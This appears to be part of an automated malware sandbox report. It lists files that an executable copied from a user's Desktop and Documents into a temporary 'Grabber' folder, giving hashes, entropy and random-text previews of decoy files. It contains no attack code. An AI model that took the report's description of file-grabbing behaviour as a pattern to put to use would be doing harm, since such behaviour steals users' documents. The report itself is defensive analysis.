                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SQSJKEBWDT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.698473196318807
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
                                                                                                                                                                          MD5:4D0D308F391353530363283961DF2C54
                                                                                                                                                                          SHA1:59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
                                                                                                                                                                          SHA-256:6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
                                                                                                                                                                          SHA-512:DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL\BJZFPPWAPT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.704346314649071
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
                                                                                                                                                                          MD5:8B66CD8FCBCEB253D75DB5CDE6291FA2
                                                                                                                                                                          SHA1:6CE0386190B9753849299B268AA7B8D15F9F72E2
                                                                                                                                                                          SHA-256:51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
                                                                                                                                                                          SHA-512:7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL\BNAGMGSPLO.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL\EEGWXUHVUG.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.690299109915258
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
                                                                                                                                                                          MD5:F0D9DE697149ECBC1D88C7EA4841E5BD
                                                                                                                                                                          SHA1:06A2A47C12B3554397AA0C8F483411CAB366947D
                                                                                                                                                                          SHA-256:5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
                                                                                                                                                                          SHA-512:E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL\EFOYFBOLXA.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.696178193607948
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
                                                                                                                                                                          MD5:960ECA5919CC00E1B4542A6E039F413E
                                                                                                                                                                          SHA1:2079091F1BDF5B543413D549EF9C47C5269659BA
                                                                                                                                                                          SHA-256:A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
                                                                                                                                                                          SHA-512:57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\SUAVTZKNFL\SUAVTZKNFL.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.704346314649071
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
                                                                                                                                                                          MD5:8B66CD8FCBCEB253D75DB5CDE6291FA2
                                                                                                                                                                          SHA1:6CE0386190B9753849299B268AA7B8D15F9F72E2
                                                                                                                                                                          SHA-256:51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
                                                                                                                                                                          SHA-512:7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
                                                                                                                                                                          Malicious:false
